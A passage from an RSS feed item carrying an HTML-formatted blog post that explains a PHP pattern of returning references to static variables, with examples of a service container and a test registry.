    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$services&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nf"&gt;container&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$container&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'logger'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Logger&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nv"&gt;$logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nf"&gt;container&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="s1"&gt;'logger'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$logger&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"App started"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. 🧪 Unit Test Registry&lt;/strong&gt;&lt;br&gt;
Pass shared test data between test cases without globals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;testRegistry&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nv"&gt;$store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$store&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;testRegistry&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🧠 Behind the Scenes: PHP References + Static Variables&lt;br&gt;
Let’s decode this pattern:&lt;/p&gt;

&lt;p&gt;static $var: Keeps the variable alive between function calls — scoped only to that function.&lt;/p&gt;

&lt;p&gt;&amp;amp;: The ampersand makes sure you return a reference, not a copy. Without it, any modification won’t persist.&lt;/p&gt;

&lt;p&gt;&amp;amp;$myVar = &amp;amp;functionName();: Allows the outer variable to work directly with the shared internal memory.&lt;/p&gt;

&lt;p&gt;This is essentially shared memory within a single request, without needing to use classes or superglobals.&lt;/p&gt;

&lt;h2&gt;
  
  
  📛 What to Call This Pattern?
&lt;/h2&gt;

&lt;p&gt;You could think of it as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Persistent in-function registry&lt;/li&gt;
&lt;li&gt;Static-reference drawer&lt;/li&gt;
&lt;li&gt;Local singleton function&lt;/li&gt;
&lt;li&gt;Scoped memory store&lt;/li&gt;
&lt;li&gt;Whatever name sticks for you, just know: it’s powerful.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ✨ Final Thoughts
&lt;/h2&gt;

&lt;p&gt;This is an advanced but elegant PHP pattern — something you won't see in beginner tutorials, yet immensely useful in plugin development, small frameworks, and anywhere performance and clean structure matter.&lt;/p&gt;

&lt;h2&gt;
  
  
  ✅ TL;DR
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Use static to keep memory inside a function.&lt;/li&gt;
&lt;li&gt;Use &amp;amp; to share that memory with the outside world.&lt;/li&gt;
&lt;li&gt;Ideal for in-memory cache, dependency containers, and temporary registries.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>programming</category>
      <category>php</category>
      <category>pointer</category>
      <category>backend</category>
    </item>
  </channel>
</rss>
